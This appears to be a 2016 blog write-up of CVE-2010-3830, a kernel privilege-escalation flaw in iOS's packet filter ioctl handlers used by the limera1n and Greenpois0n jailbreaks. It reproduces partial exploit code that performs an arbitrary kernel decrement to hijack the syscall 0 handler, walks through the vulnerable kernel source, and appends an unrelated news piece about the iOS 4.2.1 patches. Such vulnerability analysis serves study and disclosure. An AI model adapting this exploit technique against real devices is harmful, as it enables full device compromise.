September 26, 2016

Apple iOS Networking Packet Filter Rules Local Privilege Escalation Vulnerability

Apple iOS is prone to a local privilege-escalation vulnerability. The attackers running malicious code can exploit this issue locally to elevate their privileges. The successful attacks will completely compromise an affected device.

This iPhone kernel vulnerability discovered by comex and used in the limera1n and Greenpois0n jailbreaking tools. These tools exploit a BootROM vulnerability found by geohot to get initial code execution on the device, and comex’s kernel exploit is then used to make the jailbreak untethered, i.e to persist after a reboot.

This kernel vulnerability(CVE-2010-3830) was patched with the release of iOS 4.2.1 on November 22.

Exploit Code:

int main() {
    unsigned int target_addr = CONFIG_TARGET_ADDR;
    unsigned int target_addr_real = target_addr & ~1;
    unsigned int target_pagebase = target_addr & ~0xfff;
    unsigned int num_decs = (CONFIG_SYSENT_PATCH_ORIG - target_addr) >> 24;
    assert(MAP_FAILED != mmap((void *) target_pagebase, 0x2000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0));
    unsigned short *p = (void *) target_addr_real;
    if(target_addr_real & 2) *p++ = 0x46c0; // nop
    *p++ = 0x4b00; // ldr r3, [pc]
    *p++ = 0x4718; // bx r3
    *((unsigned int *) p) = (unsigned int) &ok_go;
    assert(!mprotect((void *)target_pagebase, 0x2000, PROT_READ | PROT_EXEC));
    
    // Yes, reopening is necessary
    pffd = open("/dev/pf", O_RDWR);
    ioctl(pffd, DIOCSTOP);
    assert(!ioctl(pffd, DIOCSTART));
    unsigned int sysent_patch = CONFIG_SYSENT_PATCH;
    while(num_decs--)
        pwn(sysent_patch+3);
    assert(!ioctl(pffd, DIOCSTOP));
    close(pffd);
    
    assert(!mlock((void *) ((unsigned int)(&ok_go) & ~0xfff), 0x1000));
    assert(!mlock((void *) ((unsigned int)(&flush) & ~0xfff), 0x1000));
    assert(!mlock((void *) target_pagebase, 0x2000));
#ifdef DEBUG
    printf("ok\n"); fflush(stdout);
#endif
    syscall(0);
#ifdef DEBUG
    printf("we're out\n"); fflush(stdout);
#endif
    //...
}
//...

static void pwn(unsigned int addr) {
    struct pfioc_trans trans;
    struct pfioc_trans_e trans_e;
    struct pfioc_pooladdr pp;
    struct pfioc_rule pr;

    memset(&trans, 0, sizeof(trans));
    memset(&trans_e, 0, sizeof(trans_e));
    memset(&pr, 0, sizeof(pr));

    trans.size = 1;
    trans.esize = sizeof(trans_e);
    trans.array = &trans_e;
    trans_e.rs_num = PF_RULESET_FILTER;
    memset(trans_e.anchor, 0, MAXPATHLEN);
    assert(!ioctl(pffd, DIOCXBEGIN, &trans)); 
    u_int32_t ticket = trans_e.ticket;

    assert(!ioctl(pffd, DIOCBEGINADDRS, &pp));
    u_int32_t pool_ticket = pp.ticket;

    pr.action = PF_PASS;
    pr.nr = 0;
    pr.ticket = ticket;
    pr.pool_ticket = pool_ticket;
    memset(pr.anchor, 0, MAXPATHLEN);
    memset(pr.anchor_call, 0, MAXPATHLEN);

    pr.rule.return_icmp = 0;
    pr.rule.action = PF_PASS;
    pr.rule.af = AF_INET;
    pr.rule.proto = IPPROTO_TCP;
    pr.rule.rt = 0;
    pr.rule.rpool.proxy_port[0] = htons(1);
    pr.rule.rpool.proxy_port[1] = htons(1);

    pr.rule.src.addr.type = PF_ADDR_ADDRMASK;
    pr.rule.dst.addr.type = PF_ADDR_ADDRMASK;
    
    //offsetof(struct pfr_ktable, pfrkt_refcnt[PFR_REFCNT_RULE]) = 0x4a4
    pr.rule.overload_tbl = (void *)(addr - 0x4a4);
    
    errno = 0;

    assert(!ioctl(pffd, DIOCADDRULE, &pr));

    assert(!ioctl(pffd, DIOCXCOMMIT, &trans));

    pr.action = PF_CHANGE_REMOVE;
    assert(!ioctl(pffd, DIOCCHANGERULE, &pr));
}

########################################################################################################
The vulnerability is located in the DIOCADDRULE ioctl handler, due to improper initialization of the overload_tbl field, which can be later exploited in the DIOCCHANGERULE handler. The following code snippet shows the relevant parts of those handlers :
########################################################################################################

//bsd/net/pf_ioctl.c
static int
pfioctl(dev_t dev, u_long cmd, caddr_t addr, int flags, struct proc *p)
{
    //...
    switch (cmd) {
    //...
    case DIOCADDRULE: {
        struct pfioc_rule    *pr = (struct pfioc_rule *)addr;
        struct pf_ruleset    *ruleset;
        
        //...
        
        //copy structure passed from userspace
        bcopy(&pr->rule, rule, sizeof (struct pf_rule));
        rule->cuid = kauth_cred_getuid(p->p_ucred);
        rule->cpid = p->p_pid;
        rule->anchor = NULL;
        rule->kif = NULL;
        TAILQ_INIT(&rule->rpool.list);
        /* initialize refcounting */
        rule->states = 0;
        rule->src_nodes = 0;
        rule->entries.tqe_prev = NULL;
        
        //...
        
        if (rule->overload_tblname[0]) {
            if ((rule->overload_tbl = pfr_attach_table(ruleset,
                rule->overload_tblname)) == NULL)
                error = EINVAL;
            else
                rule->overload_tbl->pfrkt_flags |=
                    PFR_TFLAG_ACTIVE;
        }
        //...

    case DIOCCHANGERULE: {
        //...
        if (pcr->action == PF_CHANGE_REMOVE) {
            pf_rm_rule(ruleset->rules[rs_num].active.ptr, oldrule);
            ruleset->rules[rs_num].active.rcount--;
        }
        //...
    }

    //...
}
################################################################################################ 
The rule field of the pfioc_rule structure passed from userland is copied into a kernel buffer, and then some of the structure fields are reinitialized. However, if rule->overload_tblname[0] is zero, the rule->overload_tbl pointer won't be initialized properly and will retain the value passed from userland. When the rule is removed, the pf_rm_rule function calls pfr_detach_table which in turn decrements a reference counter using the invalid pointer, allowing an arbitrary decrement anywhere in kernel memory :
##############################################################################################
//bsd/net/pf_ioctl.c
void
pf_rm_rule(struct pf_rulequeue *rulequeue, struct pf_rule *rule)
{
    if (rulequeue != NULL) {
        if (rule->states <= 0) {
            /*
             * XXX - we need to remove the table *before* detaching
             * the rule to make sure the table code does not delete
             * the anchor under our feet.
             */
            pf_tbladdr_remove(&rule->src.addr);
            pf_tbladdr_remove(&rule->dst.addr);
            if (rule->overload_tbl)
                pfr_detach_table(rule->overload_tbl);
        }
    //...
}


//bsd/net/pf_table.c
void
pfr_detach_table(struct pfr_ktable *kt)
{
    lck_mtx_assert(pf_lock, LCK_MTX_ASSERT_OWNED);

    if (kt->pfrkt_refcnt[PFR_REFCNT_RULE] <= 0)
        printf("pfr_detach_table: refcount = %d.\n",
            kt->pfrkt_refcnt[PFR_REFCNT_RULE]);
    else if (!--kt->pfrkt_refcnt[PFR_REFCNT_RULE]) //arbitrary decrement happens here
        pfr_setflags_ktable(kt, kt->pfrkt_flags&~PFR_TFLAG_REFERENCED);
}

###############################################################################################
In order to decrement the dword at address addr, the pwn function of comex's exploit sets the pr.rule.overload_tbl to addr minus 0x4a4, which is the value of offsetof(struct pfr_ktable, pfrkt_refcnt[PFR_REFCNT_RULE]) on a 32 bit architecture. The exploit decrement the syscall 0 handler address in the sysent array which holds function pointers for all system calls. A trampoline shellcode is mapped at a specific address chosen so that only the most significant byte of the original pointer has to be decremented (the minimum amount to move the pointer from kernel space down to user space). This trampoline will simply call the ok_go C function which will patch various functions in the kernel to perform the jailbreak : make code signing checks return true, disable W^X policy, and restore the overwritten syscall handler.

Sources:

iOS 4.2.1 Fixes Over 40 Vulnerabilities But Tools Already Out to Jailbreak All Devices

The release of iOS 4.2.1 for the iPad, iPhone and iPod Touch was important not only for the new features like multitasking and folders for the iPad, and AirPlay & AirPrint for all iDevices, but also because it plugged over 40 security holes in the OS.

Most of the vulnerabilities (at least 27) are within the Safari WebKit-based browser engine, these holes had previously left iOS open to remote code execution attacks, which means that victims needed only to visit a specially crafted web site to be infected with malware.

It is essential for all iDevice users to update to iOS 4.2.1 as soon as possible to remain safe and secure while using their devices for web browsing.

However, it hasn’t taken long for hackers to jailbreak this new version of iOS. It is now being reported that the Redsn0w jailbreak is already live for iOS 4.2.1 on all devices (including the iPad). The current range of jailbreaking tools all use a vulnerability in the boot rom, which can’t be fixed by a software patch (only shipping new devices with a new boot rom will close the hole). In short this means that all all iOS devices are capable of being jailbroken using this same single method.

But with iOS 4.2.1 fresh out of the door, peculation has already begun about version iOS 4.3. The whispers are that 4.3 could be out during December and add app subscriptions, which would allow recurring charges for magazine publishers and other periodical content providers.